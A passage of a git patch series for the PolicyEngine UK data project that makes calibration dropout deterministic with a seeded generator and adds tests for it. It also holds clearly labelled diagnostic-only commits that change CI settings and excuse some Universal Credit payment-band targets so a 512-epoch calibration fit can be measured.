+++ b/policyengine_uk_data/tests/test_obr_target_conflicts.py
@@ -83,17 +83,12 @@ def conflicts(targets, column) -> set[tuple]:
 
 @pytest.fixture(scope="module")
 def obr_targets():
-    obr._download_workbook.cache_clear()
-
     def get(*args, **kwargs):
         raise requests.ConnectionError("offline")
 
-    with (
-        patch.object(obr.requests, "get", side_effect=get),
-        patch.object(obr.time, "sleep", lambda s: None),
-    ):
+    # The manifest loader reads verified committed bytes without downloading.
+    with patch.object(requests, "get", side_effect=get):
         targets = obr.get_targets()
-    obr._download_workbook.cache_clear()
     return targets
 
 
diff --git a/policyengine_uk_data/tests/test_obr_target_mapping.py b/policyengine_uk_data/tests/test_obr_target_mapping.py
index 65643059..3e8d3cd6 100644
--- a/policyengine_uk_data/tests/test_obr_target_mapping.py
+++ b/policyengine_uk_data/tests/test_obr_target_mapping.py
@@ -9,11 +9,10 @@
 
 from unittest.mock import patch
 
-import openpyxl
 import pytest
 import requests
 
-from policyengine_uk_data.storage import STORAGE_FOLDER
+from policyengine_uk_data.targets.obr_sources import load_workbook
 from policyengine_uk_data.targets.sources import obr
 
 # Every target parsed from the receipts workbook. Expenditure-side and static
@@ -41,25 +40,18 @@
 
 @pytest.fixture(scope="module")
 def offline_targets():
-    obr._download_workbook.cache_clear()
-
     def get(*args, **kwargs):
         raise requests.ConnectionError("offline")
 
-    with (
-        patch.object(obr.requests, "get", side_effect=get),
-        patch.object(obr.time, "sleep", lambda s: None),
-    ):
+    # The manifest loader reads verified committed bytes without downloading.
+    with patch.object(requests, "get", side_effect=get):
         targets = obr.get_targets()
-    obr._download_workbook.cache_clear()
     return {t.name: t for t in targets}
 
 
 @pytest.fixture(scope="module")
 def receipts():
-    return openpyxl.load_workbook(
-        STORAGE_FOLDER / "obr_efo" / "efo_receipts.xlsx", data_only=True
-    )
+    return load_workbook("receipts")
 
 
 def _row_2025(ws, label: str, column: str) -> float:
@@ -68,7 +60,7 @@ def _row_2025(ws, label: str, column: str) -> float:
 
 
 def test_receipts_target_variables_are_pinned():
-    wb = obr._fallback_workbook("efo-receipts")
+    wb = load_workbook("receipts")
     targets = obr._parse_receipts(wb) + obr._parse_nics(wb)
     assert {t.name: t.variable for t in targets} == EXPECTED_VARIABLES
 

From a379d07eadd2bca021d0208b55a79b70ae890aae Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Thu, 1 Oct 2026 09:48:35 -0400
Subject: [PATCH 72/76] Seed the calibration weight dropout

calibrate_local_areas replaced 5% of the log-weights with their mean each
epoch, choosing them with torch.rand_like. That draws from torch's global
generator, which torch seeds differently in every process and nothing in
the build seeded, so two builds of the same commit with the same inputs gave
different household weights. The dropout now has its own torch.Generator,
seeded from a new seed argument (default 0), and leaves the global
generator alone.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
(cherry picked from commit 348dd493c7cba66b329a384410e4bb21de97cd4d)
---
 .../deterministic-calibration.fixed.md        |   1 +
 .../tests/test_calibrate_determinism.py       | 116 ++++++++++++++++++
 policyengine_uk_data/utils/calibrate.py       |  14 ++-
 3 files changed, 130 insertions(+), 1 deletion(-)
 create mode 100644 changelog.d/deterministic-calibration.fixed.md
 create mode 100644 policyengine_uk_data/tests/test_calibrate_determinism.py

diff --git a/changelog.d/deterministic-calibration.fixed.md b/changelog.d/deterministic-calibration.fixed.md
new file mode 100644
index 00000000..877dd757
--- /dev/null
+++ b/changelog.d/deterministic-calibration.fixed.md
@@ -0,0 +1 @@
+- Seed the weight dropout in `calibrate_local_areas` with its own generator (`seed`, default 0). The dropout masks were drawn from torch's global generator, which torch seeds differently in every process, so two builds of the same commit with the same inputs gave different household weights and aggregates.
diff --git a/policyengine_uk_data/tests/test_calibrate_determinism.py b/policyengine_uk_data/tests/test_calibrate_determinism.py
new file mode 100644
index 00000000..0d8d5287
--- /dev/null
+++ b/policyengine_uk_data/tests/test_calibrate_determinism.py
@@ -0,0 +1,116 @@
+"""Calibration gives the same weights for the same inputs and seed.
+
+Invariants of ``calibrate_local_areas``:
+
+- the saved weights are a function of the inputs and ``seed`` alone: not of
+  the process, and not of whatever has consumed torch's global generator;
+- calibration does not consume the global generator;
+- ``seed`` is used: different seeds draw different dropout masks.
+
+Before the dropout masks had their own generator, two builds of one commit
+differed in every household weight, because torch seeds its global generator
+differently in each process.
+"""
+
+from __future__ import annotations
+
+import hashlib
+import importlib.util
+import subprocess
+import sys
+import tempfile
+from pathlib import Path
+from unittest.mock import patch
+
+import numpy as np
+import pytest
+
+if (
+    importlib.util.find_spec("torch") is None
+    or importlib.util.find_spec("policyengine_uk") is None
+):
+    pytest.skip(
+        "torch/policyengine_uk not available in test environment",
+        allow_module_level=True,
+    )
+
+import h5py
+import torch
+
+from policyengine_uk_data.tests.test_calibrate_save import (
+    _StubDataset,
+    _make_toy_inputs,
+)
+from policyengine_uk_data.utils import calibrate as calibrate_module
+from policyengine_uk_data.utils.calibrate import calibrate_local_areas
+
+
+def _toy_weights(**kwargs) -> np.ndarray:
+    """Area-by-household weights saved by a short toy calibration.
+
+    120 weights and 21 epochs, so dropout (5% per weight per epoch) acts
+    many times and the last save (epoch 20) reflects it.
+    """
+    matrix_fn, national_matrix_fn = _make_toy_inputs(n_households=40, area_count=3)
+    dataset = _StubDataset(np.linspace(1.0, 5.0, 40))
+    with tempfile.TemporaryDirectory() as folder:
+        with patch.object(calibrate_module, "STORAGE_FOLDER", Path(folder)):
+            calibrate_local_areas(
+                dataset=dataset,
+                matrix_fn=matrix_fn,
+                national_matrix_fn=national_matrix_fn,
+                area_count=3,
+                weight_file="weights.h5",
+                dataset_key="2025",
+                epochs=21,
+                verbose=False,
+                **kwargs,
+            )
+        with h5py.File(Path(folder) / "weights.h5", "r") as f:
+            return f["2025"][:]
+
+
+def _toy_weights_digest() -> str:
+    return hashlib.sha256(_toy_weights().tobytes()).hexdigest()
+
+
+@pytest.mark.parametrize("seed", [0, 1, 2**31 - 1])
+@pytest.mark.parametrize("global_state, other_global_state", [(0, 1), (7, 12345)])
+def test_weights_depend_on_seed_not_on_the_global_generator(
+    seed, global_state, other_global_state
+):
+    torch.manual_seed(global_state)
+    first = _toy_weights(seed=seed)
+    torch.manual_seed(other_global_state)
+    torch.rand(7)
+    second = _toy_weights(seed=seed)
+    assert np.array_equal(first, second)
+
+
+def test_calibration_does_not_consume_the_global_generator():
+    torch.manual_seed(123)
+    expected = torch.rand(5)
+    torch.manual_seed(123)
+    _toy_weights()
+    assert torch.equal(torch.rand(5), expected)
+
+
+def test_different_seeds_give_different_weights():
+    assert not np.array_equal(_toy_weights(seed=0), _toy_weights(seed=1))
+
+
+def test_fresh_processes_give_identical_weights():
+    """The failure this guards against only shows across processes."""
+    command = [
+        sys.executable,
+        "-c",
+        "from policyengine_uk_data.tests.test_calibrate_determinism import "
+        "_toy_weights_digest; print(_toy_weights_digest())",
+    ]
+    digests = [
+        subprocess.run(command, capture_output=True, text=True, check=True)
+        .stdout.strip()
+        .splitlines()[-1]
+        for _ in range(2)
+    ]
+    assert digests[0] == digests[1] == _toy_weights_digest()
diff --git a/policyengine_uk_data/utils/calibrate.py b/policyengine_uk_data/utils/calibrate.py
index e9c9dcee..20c04f05 100644
--- a/policyengine_uk_data/utils/calibrate.py
+++ b/policyengine_uk_data/utils/calibrate.py
@@ -14,6 +14,7 @@
 
 
 DEFAULT_ZERO_WEIGHT_PRIOR_TOTAL_SHARE = 0.5
+DEFAULT_CALIBRATION_SEED = 0
 
 
 def default_weight_dataset_key() -> str:
@@ -291,6 +292,7 @@ def calibrate_local_areas(
     time_period: int | str | None = None,
     zero_weight_prior_total_share: float = DEFAULT_ZERO_WEIGHT_PRIOR_TOTAL_SHARE,
     prior_rake_targets=(),
+    seed: int = DEFAULT_CALIBRATION_SEED,
 ):
     """
     Generic calibration function for local areas (constituencies, local authorities, etc.)
@@ -312,6 +314,8 @@ def calibrate_local_areas(
         prior_rake_targets: Names of national targets, counting disjoint sets of
             households, that the starting weights are scaled to meet (see
             rake_priors_to_targets).
+        seed: Seed for the dropout masks. The same inputs and seed give the same
+            weights in every process.
     """
     if dataset_key is None:
         dataset_key = default_weight_dataset_key()
@@ -464,11 +468,19 @@ def pct_close(w, t=0.1, local=True, national=True):
 
         return numerator / denominator
 
+    # Dropout masks come from their own seeded generator. torch seeds its
+    # global generator differently in every process, so masks drawn from it
+    # (the earlier `torch.rand_like`) gave every build different weights.
+    dropout_generator = torch.Generator().manual_seed(seed)
+
     def dropout_weights(weights, p):
         if p == 0:
             return weights
         # Replace p% of the weights with the mean value of the rest of them
-        mask = torch.rand_like(weights) < p
+        mask = (
+            torch.rand(weights.shape, generator=dropout_generator, dtype=weights.dtype)
+            < p
+        )
         mean = weights[~mask].mean()
         masked_weights = weights.clone()
         masked_weights[mask] = mean

From aec84b832372f454582513b03584fe1ace22d652 Mon Sep 17 00:00:00 2001
From: build <build@localhost>
Date: Sun, 18 Oct 2026 20:23:13 -0400
Subject: [PATCH 73/76] Diagnostic only: production-setting head build
 (TESTING=0, 512 epochs)

---
 .github/workflows/pull_request.yaml | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/.github/workflows/pull_request.yaml b/.github/workflows/pull_request.yaml
index ec17d2e5..989b76d5 100644
--- a/.github/workflows/pull_request.yaml
+++ b/.github/workflows/pull_request.yaml
@@ -60,7 +60,7 @@ jobs:
     runs-on: ubuntu-latest
     # Slowest observed 2026-10-06..08: 47 minutes (TESTING build plus tests).
     # Fail a hung build instead of holding a runner for the 6-hour default.
-    timeout-minutes: 90
+    timeout-minutes: 180  # DIAGNOSTIC ONLY: production build
     env:
       HUGGING_FACE_TOKEN: ${{ secrets.HUGGING_FACE_TOKEN }}
       PYTHONUNBUFFERED: "1"
@@ -89,7 +89,7 @@ jobs:
       - name: Build datasets
         run: uv run --frozen make data
         env:
-          TESTING: "1"
+          TESTING: "0"  # DIAGNOSTIC ONLY: production settings (512 epochs)
       # The raw calibration logs stay on the runner. They hold every target's
       # weighted estimate at every logged epoch with no small-cell control, so a
       # target supported by a few households, divided by a published count,
@@ -97,6 +97,7 @@ jobs:
       # artifacts are public.
 
       - name: Run tests
+        if: false  # DIAGNOSTIC ONLY (batch-3 attribution): skip tests to save runner time
         run: uv run --frozen make test
         env:
           # Relaxes built-dataset outcome tolerances to match the reduced
@@ -176,6 +177,7 @@ jobs:
   # cache and saves none.
   base-build:
     name: Build the base for comparison
+    if: false  # DIAGNOSTIC ONLY (batch-3 attribution)
     runs-on: ubuntu-latest
     timeout-minutes: 60
     env:
@@ -269,7 +271,7 @@ jobs:
     name: Calibration fit against the base
     needs: [test, base-build]
     # Report a failed side too: an earlier passing comment must not stand.
-    if: ${{ !cancelled() }}
+    if: false  # DIAGNOSTIC ONLY (batch-3 attribution)
     runs-on: ubuntu-latest
     timeout-minutes: 20
     permissions:

From 9441b6c05ff2680d3209fcfcdc2e40b2ed622864 Mon Sep 17 00:00:00 2001
From: build <build@localhost>
Date: Sun, 18 Oct 2026 20:39:56 -0400
Subject: [PATCH 74/76] Diagnostic only: excuse the three release-build
 zero-signal UC bands so the 512-epoch fit can be measured

---
 policyengine_uk_data/targets/known_gaps.yaml | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/policyengine_uk_data/targets/known_gaps.yaml b/policyengine_uk_data/targets/known_gaps.yaml
index 6728d028..519151bd 100644
--- a/policyengine_uk_data/targets/known_gaps.yaml
+++ b/policyengine_uk_data/targets/known_gaps.yaml
@@ -21,6 +21,20 @@
 # as duplicates (661 targets in all).
 schema_version: 1
 gaps:
+  - status: zero_signal
+    reason: >-
+      DIAGNOSTIC ONLY, on the batch-3 production-setting attribution branches
+      (uk-data #618, #619), never for release as written. In release builds
+      (TESTING unset) of the batch-3 release 21d5dbf9, these three UC payment
+      bands have no signal, so #595's gate stops the build (runs 39180561028 and
+      39180562951). Listed here only so the 512-epoch fit can be measured; the
+      release itself needs its own fix.
+    issue: https://github.com/PolicyEngine/policyengine-uk-data/pull/608
+    builds: [release]
+    targets:
+      - dwp/uc_payment_dist/SINGLE_annual_payment_25_200_to_26_400
+      - dwp/uc_payment_dist/SINGLE_annual_payment_27_600_to_28_800
+      - dwp/uc_payment_dist/COUPLE_WITH_CHILDREN_annual_payment_27_600_to_28_800
   - status: no_value_for_year
     reason: >-
       Dated 2026 only. The calibration year is 2025, and _resolve_value does

From 684d24ad390506bc2ce38c6b67a6adcf69a3a078 Mon Sep 17 00:00:00 2001
From: build <build@localhost>
Date: Sun, 18 Oct 2026 20:40:49 -0400
Subject: [PATCH 75/76] Diagnostic only: ablation, keep #571's targets and
 twinning but do not rake priors to the CGT band counts

---
 .../datasets/local_areas/constituencies/calibrate.py             | 1 -
 .../datasets/local_areas/local_authorities/calibrate.py          | 1 -
 2 files changed, 2 deletions(-)

diff --git a/policyengine_uk_data/datasets/local_areas/constituencies/calibrate.py b/policyengine_uk_data/datasets/local_areas/constituencies/calibrate.py
index ee5a22a5..0120574a 100644
--- a/policyengine_uk_data/datasets/local_areas/constituencies/calibrate.py
+++ b/policyengine_uk_data/datasets/local_areas/constituencies/calibrate.py
@@ -30,7 +30,6 @@ def calibrate(
         area_name="Constituency",
         get_performance=get_performance,
         time_period=time_period,
-        prior_rake_targets=band_count_target_names(),
     )
 
 
diff --git a/policyengine_uk_data/datasets/local_areas/local_authorities/calibrate.py b/policyengine_uk_data/datasets/local_areas/local_authorities/calibrate.py
index 371e80c0..665b0cfb 100644
--- a/policyengine_uk_data/datasets/local_areas/local_authorities/calibrate.py
+++ b/policyengine_uk_data/datasets/local_areas/local_authorities/calibrate.py
@@ -30,7 +30,6 @@ def calibrate(
         area_name="Local Authority",
         get_performance=get_performance,
         time_period=time_period,
-        prior_rake_targets=band_count_target_names(),
     )
 
 

From ca164183c8a73e7b2915ab1350d442a2440fc753 Mon Sep 17 00:00:00 2001
From: build <build@localhost>
Date: Sun, 18 Oct 2026 21:02:36 -0400
Subject: [PATCH 76/76] Diagnostic only: excuse every top UC payment band in
 release builds (#598 varies between builds)

---
 policyengine_uk_data/targets/known_gaps.yaml | 27 ++++++++++++++++++++
 1 file changed, 27 insertions(+)

diff --git a/policyengine_uk_data/targets/known_gaps.yaml b/policyengine_uk_data/targets/known_gaps.yaml
index 519151bd..02f8a84b 100644
--- a/policyengine_uk_data/targets/known_gaps.yaml
+++ b/policyengine_uk_data/targets/known_gaps.yaml
@@ -21,6 +21,33 @@
 # as duplicates (661 targets in all).
 schema_version: 1
 gaps:
+  - status: zero_signal
+    reason: >-
+      DIAGNOSTIC ONLY (uk-data #618, #620): in release builds of the batch-3
+      release the zero-signal set among the top UC payment bands varies between
+      builds (#598); run 39181798638 also lost COUPLE_NO_CHILDREN 26,400 to
+      27,600. Every top band is listed so the 512-epoch fit can be measured.
+    issue: https://github.com/PolicyEngine/policyengine-uk-data/issues/598
+    builds: [release]
+    targets:
+      - dwp/uc_payment_dist/SINGLE_annual_payment_24_000_to_25_200
+      - dwp/uc_payment_dist/SINGLE_annual_payment_26_400_to_27_600
+      - dwp/uc_payment_dist/SINGLE_annual_payment_28_800_to_30_000
+      - dwp/uc_payment_dist/SINGLE_annual_payment_30_000_to_inf
+      - dwp/uc_payment_dist/SINGLE_WITH_CHILDREN_annual_payment_24_000_to_25_200
+      - dwp/uc_payment_dist/SINGLE_WITH_CHILDREN_annual_payment_25_200_to_26_400
+      - dwp/uc_payment_dist/SINGLE_WITH_CHILDREN_annual_payment_26_400_to_27_600
+      - dwp/uc_payment_dist/SINGLE_WITH_CHILDREN_annual_payment_27_600_to_28_800
+      - dwp/uc_payment_dist/SINGLE_WITH_CHILDREN_annual_payment_28_800_to_30_000
+      - dwp/uc_payment_dist/SINGLE_WITH_CHILDREN_annual_payment_30_000_to_inf
+      - dwp/uc_payment_dist/COUPLE_NO_CHILDREN_annual_payment_24_000_to_25_200
+      - dwp/uc_payment_dist/COUPLE_NO_CHILDREN_annual_payment_25_200_to_26_400
+      - dwp/uc_payment_dist/COUPLE_NO_CHILDREN_annual_payment_26_400_to_27_600
+      - dwp/uc_payment_dist/COUPLE_WITH_CHILDREN_annual_payment_24_000_to_25_200
+      - dwp/uc_payment_dist/COUPLE_WITH_CHILDREN_annual_payment_25_200_to_26_400
+      - dwp/uc_payment_dist/COUPLE_WITH_CHILDREN_annual_payment_26_400_to_27_600
+      - dwp/uc_payment_dist/COUPLE_WITH_CHILDREN_annual_payment_28_800_to_30_000
+      - dwp/uc_payment_dist/COUPLE_WITH_CHILDREN_annual_payment_30_000_to_inf
   - status: zero_signal
     reason: >-
       DIAGNOSTIC ONLY, on the batch-3 production-setting attribution branches